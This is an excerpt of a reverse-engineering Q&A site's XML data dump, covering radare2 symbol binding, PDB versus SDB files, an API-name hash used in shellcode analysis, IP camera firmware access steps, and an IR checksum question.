that contains debug information. Debug information is always placed in a .pdb file.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anything built with Microsoft tools from the last decade won't have embedded symbol information.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2018-01-25T17:18:57.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17291" PostTypeId="1" AcceptedAnswerId="17297" CreationDate="2018-01-25T17:36:04.543" Score="1" ViewCount="507" Body="&lt;p&gt;I'm playing with a pe32 file. With &lt;code&gt;is&lt;/code&gt;, Some of my symbols say &lt;code&gt;GLOBAL&lt;/code&gt; others say &lt;code&gt;NONE&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;006 0x00027514 0x100428114 GLOBAL   FUNC    0 k.exe_asdf&#xA;....&#xA;002 0x0002a808 0x10042c008   NONE   FUNC    0 imp.foo.dll_bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are the only two options &lt;code&gt;GLOBAL&lt;/code&gt; and &lt;code&gt;NONE&lt;/code&gt;? Where can I find the output definition of this screen. If I run the same executable under &lt;code&gt;objdump -t&lt;/code&gt; it just shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./k.exe:     file format pei-x86-64&#xA;&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;nm&lt;/code&gt; also shows no symbols. I'm guessing though that &lt;code&gt;radare2&lt;/code&gt; is just better working with pe32+ files?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-01-25T21:31:00.897" Title="What is the difference between a GLOBAL symbol and NONE?" Tags="|radare2|symbols|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17292" PostTypeId="2" ParentId="17291" CreationDate="2018-01-25T17:56:50.587" Score="-1" Body="&lt;p&gt;Though I'm not sure, I think &lt;code&gt;NONE&lt;/code&gt; means &lt;code&gt;IMPORTED&lt;/code&gt; as the Symbol list of the NONE can be reproduced with &lt;code&gt;rabin -i&lt;/code&gt; where &lt;code&gt;-i&lt;/code&gt; means show imported symbols,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 0x10042c008    NONE    FUNC NETAPI32.dll_NetUserModalsSet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-01-25T17:56:50.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17293" PostTypeId="2" ParentId="17289" CreationDate="2018-01-25T18:03:51.570" Score="2" Body="&lt;p&gt;iirc you cant go from a constant hash to name &#xA;but hash an exported name compare the generated hash with the constant &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see a discussion and an implementation &lt;a href=&quot;http://www.openrce.org/blog/view/681/Shellcode_Analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a ripped python implementation using the discussion as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat foo.py&#xA;def rol32(val, amt):&#xA;        return ( (val &amp;lt;&amp;lt; amt) &amp;amp; 0xffffffff ) | ( ( val &amp;gt;&amp;gt; (32 - amt) ) &amp;amp; 0xffffffff )&#xA;&#xA;def ror32(val, amt):&#xA;        return ( (val &amp;gt;&amp;gt; amt) &amp;amp; 0xffffffff ) | ( ( val &amp;lt;&amp;lt; (32 - amt) ) &amp;amp; 0xffffffff )&#xA;&#xA;def add32(val, amt):&#xA;        return (val + amt) &amp;amp; 0xffffffff&#xA;&#xA;def hash_export(name):&#xA;    result = 0&#xA;    index = 0&#xA;    while(index &amp;lt; len(name)):&#xA;        result  = add32(ror32(result, 13), ord(name[index]) &amp;amp; 0xff)&#xA;        index += 1&#xA;    return result&#xA;&#xA;print hex(hash_export(&quot;LoadLibraryA&quot;))&#xA;:\&amp;gt;python foo.py&#xA;0xec0e4e8eL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-01-25T18:03:51.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17294" PostTypeId="2" ParentId="17291" CreationDate="2018-01-25T18:44:04.847" Score="1" Body="&lt;p&gt;exported functions in a binary are denoted by GLOBAL&#xA;imported function in a binary are denoted by NONE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;rabin2  -i ..\..\miscinfo\Debug\tzinfo.dll | grep -i Mod&#xA;003 0x10016008 NONE FUNC KERNEL32.dll_GetModuleFileNameA&#xA;011 0x10016028 NONE FUNC KERNEL32.dll_GetModuleHandleW&#xA;009 0x10016088 NONE FUNC VCRUNTIME140D.dll___vcrt_GetModuleFileNameW&#xA;010 0x1001608c NONE FUNC VCRUNTIME140D.dll___vcrt_GetModuleHandleW&#xA;&#xA;:\&amp;gt;rabin2  -E ..\..\miscinfo\Debug\tzinfo.dll&#xA;[Exports]&#xA;000 0x0000bb80 0x1000c780 GLOBAL   FUNC    0 tzinfo.dll_DebugExtensionInitialize&#xA;001 0x0000bc10 0x1000c810 GLOBAL   FUNC    0 tzinfo.dll_DebugExtensionNotify&#xA;002 0x0000bbb0 0x1000c7b0 GLOBAL   FUNC    0 tzinfo.dll_DebugExtensionUninitialize&#xA;003 0x0000bad0 0x1000c6d0 GLOBAL   FUNC    0 tzinfo.dll_help&#xA;004 0x00000670 0x10001270 GLOBAL   FUNC    0 tzinfo.dll_tzinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw you can get the source for radare  and grep through the src to find most of the answers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;grep -r &quot;\&quot;GLOBAL\&quot;&quot; *&#xA;libr/bin/format/elf/elf.c:      case STB_GLOBAL: s_bind (&quot;GLOBAL&quot;); break;&#xA;libr/bin/p/bin_mach0.c:                 &quot;LOCAL&quot;:&quot;GLOBAL&quot;);&#xA;libr/bin/p/bin_pe.c:                ptr-&amp;gt;bind = r_str_const (&quot;GLOBAL&quot;);&#xA;libr/core/bin.c:        return (strcmp (s-&amp;gt;bind, &quot;GLOBAL&quot;) == 0);&#xA;shlr/java/class.c:                      sym-&amp;gt;bind = r_str_const (&quot;GLOBAL&quot;);&#xA;shlr/java/class.c:                      sym-&amp;gt;bind = r_str_const (&quot;GLOBAL&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and actual srccode &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;grep -r -B 10 -A 5 &quot;\&quot;GLOBAL\&quot;&quot;  .\libr\bin\p\bin_pe.c&#xA;        if (!(ret = r_list_new ()))&#xA;                return NULL;&#xA;        ret-&amp;gt;free = free;&#xA;        if ((symbols = PE_(r_bin_pe_get_exports)(arch-&amp;gt;o-&amp;gt;bin_obj))) {&#xA;                for (i = 0; !symbols[i].last; i++) {&#xA;                    if (!(ptr = R_NEW0 (RBinSymbol)))&#xA;                        break;&#xA;                    ptr-&amp;gt;name = strdup ((char *)symbols[i].name);&#xA;                    ptr-&amp;gt;forwarder = r_str_const ((char *)symbols[i].forwarder);&#xA;                    //strncpy (ptr-&amp;gt;bind, &quot;NONE&quot;, R_BIN_SIZEOF_STRINGS);&#xA;                    ptr-&amp;gt;bind = r_str_const (&quot;GLOBAL&quot;);&#xA;                    ptr-&amp;gt;type = r_str_const (&quot;FUNC&quot;);&#xA;                    ptr-&amp;gt;size = 0;&#xA;                    ptr-&amp;gt;vaddr = symbols[i].vaddr;&#xA;                    ptr-&amp;gt;paddr = symbols[i].paddr;&#xA;                    ptr-&amp;gt;ordinal = symbols[i].ordinal;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-01-25T19:01:08.050" LastActivityDate="2018-01-25T19:01:08.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17295" PostTypeId="1" CreationDate="2018-01-25T20:39:12.777" Score="3" ViewCount="497" Body="&lt;p&gt;Radare lets me view the assembly and pseudo-C code of a function. Can I run those instructions though outside of the process? Perhaps setting the register myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how would I go about doing this? Is there a guide or tutorial on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new what I'm thinking is that there must be some kind of easy to set the entry point, the registers the function is using, run code until a &lt;code&gt;ret&lt;/code&gt; and then see what happened?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="2147" LastEditDate="2018-10-18T23:20:50.310" LastActivityDate="2018-10-18T23:20:50.310" Title="Running just one function from an compiled executable or shared object?" Tags="|decompilation|radare2|instrumentation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17296" PostTypeId="2" ParentId="17295" CreationDate="2018-01-25T21:15:23.037" Score="2" Body="&lt;p&gt;As you correctly mentioned, this is a pseudo C code which output a C-like code. This code can't be compiled since it's not a valid C code. This output can be shown using the &lt;code&gt;pdc&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 contains plugins for decompilers like Snowman and retdec. You can read more about it and my answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15193/radare2-c-output/16008#16008&quot;&gt;here&lt;/a&gt;. With these decompilers you have high chances to success with compiling the generated code. In general, it is not recommended to rely on decompilation to achieve 1:1 result compared to the original source code. Decompilation is very complex and has high probability to fail and miss some information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding to make changes to registers -- although it is not &quot;outside of the process&quot; you can do it internally from radare by using the &lt;code&gt;dr&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to change EAX to 0x20 you can simply execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dr eax=0x20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in case you ask in general whether you can change registers by yourself, the answer is yes. Just insert ASM code to you C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__asm {&#xA;  mov eax, 5&#xA;  add eax, 3&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-01-25T21:34:24.230" LastActivityDate="2018-01-25T21:34:24.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17297" PostTypeId="2" ParentId="17291" CreationDate="2018-01-25T21:31:00.897" Score="1" Body="&lt;h2&gt;PE Binding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&quot;GLOBAL&quot; and &quot;NONE&quot; are values of the &quot;Bind&quot; column in radare2's symbol table. As @blabb correctly described, whenever you look at the &quot;Exports&quot; through radare2 you'll see the value &lt;code&gt;&quot;GLOBAL&quot;&lt;/code&gt; assigned to &lt;code&gt;ptr-&amp;gt;bind&lt;/code&gt; and you'll see &lt;code&gt;&quot;NONE&quot;&lt;/code&gt; assigned to each import. The thing is, that this is only relevant for PE files and I'll soon explain it deeper. For now, let's look at the implemented code in radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@blabb mentioned that you can easily spot this in the code, that's true. Here's how the implementation of &lt;code&gt;bind&lt;/code&gt; is for PE &lt;strong&gt;exports&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((symbols = PE_(r_bin_pe_get_exports)(bf-&amp;gt;o-&amp;gt;bin_obj))) {&#xA;        for (i = 0; !symbols[i].last; i++) {&#xA;            if (!(ptr = R_NEW0 (RBinSymbol))) {&#xA;                break;&#xA;            }&#xA;            ptr-&amp;gt;name = strdup ((char *)symbols[i].name);&#xA;            ...&#xA;            ptr-&amp;gt;bind = r_str_const (&quot;GLOBAL&quot;);&#xA;            ptr-&amp;gt;type = r_str_const (&quot;FUNC&quot;);&#xA;            ptr-&amp;gt;size = 0;&#xA;            ...&#xA;            ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that &lt;code&gt;ptr-&amp;gt;bind&lt;/code&gt; is unconditionally assigned to be &quot;GLOBAL&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's how the implementation of &lt;code&gt;bind&lt;/code&gt; is looking like for PE &lt;strong&gt;import&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((imports = PE_(r_bin_pe_get_imports)(bf-&amp;gt;o-&amp;gt;bin_obj))) {&#xA;        for (i = 0; !imports[i].last; i++) {&#xA;            if (!(ptr = R_NEW0 (RBinSymbol))) {&#xA;                break;&#xA;            }&#xA;            ...&#xA;            ptr-&amp;gt;name = r_str_newf (&quot;imp.%s&quot;, imports[i].name);&#xA;            ptr-&amp;gt;bind = r_str_const (&quot;NONE&quot;);&#xA;            ptr-&amp;gt;type = r_str_const (&quot;FUNC&quot;);&#xA;            ptr-&amp;gt;size = 0;&#xA;            ...&#xA;            ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, it is unconditionally assigned to &quot;NONE&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Symbol Binding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Symbol binding is a subject that thoroughly was already answered by @SYS_V in this incredibly good &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/14904/18698&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from his answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There must be a way for the link editor (ld) to determine the scope of&#xA;  a symbol during link-time. In other words, symbol binding allows the&#xA;  link editor to differentiate between symbols visible only within a&#xA;  particular file being linked (local scope) vs. symbols that can be&#xA;  referenced from within functions located in other files (global&#xA;  scope).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For ELF files, GLOBAL binding means the symbol is visible outside the file. LOCAL binding is visible only in the file. WEAK is like global, the symbol can be overridden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many more binding values for ELF as you can see in &lt;a href=&quot;https://docs.oracle.com/cd/E19683-01/816-1386/6m7qcoblj/index.html#chapter6-tbl-21&quot; rel=&quot;nofollow noreferrer&quot;&gt;this table&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------+-------+&#xA;|    Name    | Value |&#xA;+------------+-------+&#xA;| STB_LOCAL  |     0 |&#xA;| STB_GLOBAL |     1 |&#xA;| STB_WEAK   |     2 |&#xA;| STB_LOOS   |    10 |&#xA;| STB_HIOS   |    12 |&#xA;| STB_LOPROC |    13 |&#xA;| STB_HIPROC |    15 |&#xA;+------------+-------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And radare2 implemented it as well in &lt;a href=&quot;https://github.com/radare/radare2/blob/f15618a7061eb9fcb860ac00e88a074321f6270a/libr/bin/format/elf/elf.c#L2551&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fill_symbol_bind_and_type&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch (ELF_ST_BIND(sym-&amp;gt;st_info)) {&#xA;case STB_LOCAL:  s_bind (&quot;LOCAL&quot;); break;&#xA;case STB_GLOBAL: s_bind (&quot;GLOBAL&quot;); break;&#xA;case STB_WEAK:   s_bind (&quot;WEAK&quot;); break;&#xA;case STB_NUM:    s_bind (&quot;NUM&quot;); break;&#xA;case STB_LOOS:   s_bind (&quot;LOOS&quot;); break;&#xA;case STB_HIOS:   s_bind (&quot;HIOS&quot;); break;&#xA;case STB_LOPROC: s_bind (&quot;LOPROC&quot;); break;&#xA;case STB_HIPROC: s_bind (&quot;HIPROC&quot;); break;&#xA;default:         s_bind (&quot;UNKNOWN&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I highly recommend @SYS_V's answer for more information. You can also read more about Symbol Resolution &lt;a href=&quot;https://docs.oracle.com/cd/E19120-01/open.solaris/819-0690/chapter2-93321/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and you can find more information about Symbol visibility in &lt;a href=&quot;https://www.technovelty.org/code/why-symbol-visibility-is-good.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-25T21:31:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17298" PostTypeId="1" CreationDate="2018-01-25T23:05:02.430" Score="2" ViewCount="1347" Body="&lt;p&gt;Radare has a format called a &lt;code&gt;sdb&lt;/code&gt;. I asked a question here,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/17278/22669&quot;&gt;What is an SDB file?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The answer I got was,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These sdbfiles contain function names (DLL's exports) and their equivalent ordinals for each &lt;code&gt;dll&lt;/code&gt; in ./libr/bin/d/dll/. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One of the pages linked &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/sdb_ordinal.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;tells you how to make a &lt;code&gt;sdb&lt;/code&gt; file, given a dll as input&lt;/a&gt;. I've done that. Now I see there are pdb files too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|Usage: id Debug information&#xA;| Output mode:     &#xA;| '*'              Output in radare commands&#xA;| id               Source lines&#xA;| idp [file.pdb]   Load pdb file information&#xA;| idpi [file.pdb]  Show pdb file information&#xA;| idpd             Download pdb file on remote server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The specific &lt;code&gt;sdb&lt;/code&gt; I've created is of a Microsoft &lt;code&gt;dll&lt;/code&gt;. Moreover, I see &lt;a href=&quot;https://github.com/arvindshmicrosoft/SQLCallStackResolver/wiki/Scripts-to-download-symbols-for-SQL-Server-2017&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft offers official pdb files&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there any advantage to using a &lt;code&gt;pdb&lt;/code&gt; over an &lt;code&gt;sdb&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Do these both convey the same information to the extent that adding a pdb when you already have a loaded &lt;code&gt;sdb&lt;/code&gt; does nothing?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looking at a function in question nothing changed when I loaded the &lt;code&gt;pdb&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-01-26T08:35:31.623" Title="PDB file vs SDB file?" Tags="|radare2|pdb|pe32|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17300" PostTypeId="2" ParentId="17265" CreationDate="2018-01-26T02:20:37.147" Score="3" Body="&lt;p&gt;Rappel also has amd64 and armv7 and v8 in addition of x86. You might want to check it out &lt;a href=&quot;https://github.com/yrp604/rappel&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; if you are on a Linux-based system. From its description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A linux-based assembly REPL for x86, amd64, armv7, and armv8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16270" LastActivityDate="2018-01-26T02:20:37.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17301" PostTypeId="2" ParentId="16332" CreationDate="2018-01-26T06:01:42.090" Score="1" Body="&lt;p&gt;These are the steps what I will do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a.Find the debug port:   either a serial port or some RXTX port where you can write the initial program inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b.Upon booting up, probe the device to see if there are any open network ports:   what are they?   is there a ssh login?   telnet? ftp etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c.search online for default IP camera password.   any device which you first bought has to have a default password built into it to start the setup going - search for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d.if you can bootup, and login, then it is possible that you can overwrite the existing filesystem.  if not, then may be remount as rewriteable will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.if all the options are giving you problem, identify the flash chip, desolder it, and buy a new one, reprogram it to your liking - this will depend on how the existing flash internals is designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone of tasks above comes with lots of online resources and challenges.   Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2395" LastActivityDate="2018-01-26T06:01:42.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17303" PostTypeId="2" ParentId="17298" CreationDate="2018-01-26T08:29:24.440" Score="4" Body="&lt;p&gt;While &lt;code&gt;sdb&lt;/code&gt; files was created to translate imports that are referenced by ordinal instead of by name (see &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/exporting-functions-from-a-dll-by-ordinal-rather-than-by-name&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Exporting Functions from a DLL by Ordinal Rather Than by Name&quot;&lt;/a&gt;), &lt;code&gt;pdb&lt;/code&gt; files are something entirely different.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Program Database&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Program Database (PDB) file or DBG file are produced by the compiler. PDB files are used by developers to debug their program and is commonly removed from the binary before it distributed to the client. Most chances is that you won't find debug symbols inside most of the real-world binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Symbol files hold a variety of data which are not actually needed when running the binaries, but which could be very useful in the debugging process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDB files typically contain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Public symbols (typically all functions, static and global variables)&lt;/li&gt;&#xA;&lt;li&gt;A list of object files that are responsible for sections of code in the executable&lt;/li&gt;&#xA;&lt;li&gt;Frame pointer optimization information (FPO)&lt;/li&gt;&#xA;&lt;li&gt;Name and type information for local variables and data structures&lt;/li&gt;&#xA;&lt;li&gt;Source file and line number information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Microsoft publishes all the PDB files for all operating systems and other redistributed components on its symbol server. This makes it easy to debug an application that uses these DLL or executable files. You can use the Microsoft symbol server to resolve symbols, together with any local symbols for components that were built on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information about how radare2 interpret PDB files in the following links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/analysis/symbols.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symbols information | radare2book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/pdb/pdb_usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDB Usage | radare2 docs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PDB vs SDB&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably figured out by now, SDB and PDB are two different things and for debugging purposes, PDB is much more helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa264882(v=vs.60).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linking by ordinal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ragestorm.net/blogs/?p=68&quot; rel=&quot;nofollow noreferrer&quot;&gt;Import Symbols by Ordinals in Link-Time&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugging with Symbols&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbols-and-symbol-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symbols and symbol files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Microsoft/microsoft-pdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Information from Microsoft about the PDB format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-01-26T08:35:31.623" LastActivityDate="2018-01-26T08:35:31.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17304" PostTypeId="1" CreationDate="2018-01-26T08:59:55.963" Score="1" ViewCount="196" Body="&lt;p&gt;i use microcontroller and received ir frame of air conditioner SHARP.&#xA;This Ir frame have 13 byte data (in decimal number, not hex) like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;85 90 243 8 131 140 66 0 176 1 32 7 133 &#xA;85 90 243 8 142 140 66 0 176 1 32 7 136 &#xA;85 90 243 8 67 140 66 0 176 1 32 7 137 &#xA;85 90 243 8 78 140 66 0 176 1 32 7 132 &#xA;85 90 243 8 195 140 66 0 176 1 32 7 129&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for hex value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x55 0x5A 0xF3 0x08 0x8E 0x8C 0x42  0x00 0xB0 0x20 0x07 0x88&#xA;&#xA;0x55 0x5A 0xF3 0x08 0x43 0x8C 0x42 0x00 0xB0 0x20 0x07 0x89 &#xA;&#xA;0x55 0x5A 0xF3 0x08 0x4E 0x8C 0x42 0x00 0xB0 0x20 0x07 0x84&#xA;&#xA;0x55 0x5A 0xF3 0x08 0xC3 0x8C 0x42 0x00 0xB0 0x20 0x07 0x81&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i was check XOR and SUM of 12 byte but can not calculate the checksum byte. How is that checksum is calculated ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 1 to 4 alway same value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 5: contain data for temperature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 6: contain ON/OFF mode &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 7 change the fan speed. &#xA;Fan speed = 1, byte 7 = 0x42&#xA;Fan speed = 2, byte 7 = 0x4C&#xA;Fan speed = 3, byte 7 = 0x4A&#xA;Fan speed = 4, byte 7 = 0x4E&#xA;Fan speed have wave symbol, byte 7 = 0x44&#xA;Fan speed auto, byte 7 = 0x45&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 8 alway 0x00&#xA;Byte 9 for swing value. &#xA;Byte 10 alway 0x01 &#xA;Byte 11 unclear&#xA;byte 12 alway 0x07 &#xA;byte 13 must be CRC value, but can not calcuate now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me. &lt;/p&gt;&#xA;" OwnerUserId="23054" LastEditorUserId="23054" LastEditDate="2018-02-01T03:43:08.497" LastActivityDate="2018-02-01T03:43:08.497" Title="Reverse engineer checksum in AC Sharp IR packet" Tags="|decryption|crc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17308" PostTypeId="1" CreationDate="2018-01-27T07:04:21.480" Score="1" ViewCount="248" Body="&lt;p&gt;Is it possible to estimate how much more time it takes and how much more it costs when you work on a Research and Development (R&amp;amp;D) project compared to a reverse-engineering project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I see Apple or Samsung make a new smartphone, then after some months there are Chinese fake copies of them at the market. These copies are so good that that maybe you cannot tell if they're fake or original!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or there are many Chinese products that are copied from an original product. They have been reverse-engineered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know, can we estimate the difference? For example, &quot;R&amp;amp;D is 10 times more expensive and longer than reverse engineering&quot;.&lt;/p&gt;&#xA;" OwnerUserId="23066" LastActivityDate="2018-01-27T14:49:09.253" Title="Time/Money needed for R&amp;D vs. reverse engineering" Tags="|compare|" AnswerCount="1" CommentCount="1" ClosedDate="2018-02-01T13:10:28.447" ContentLicense="CC BY-SA 3.0" />
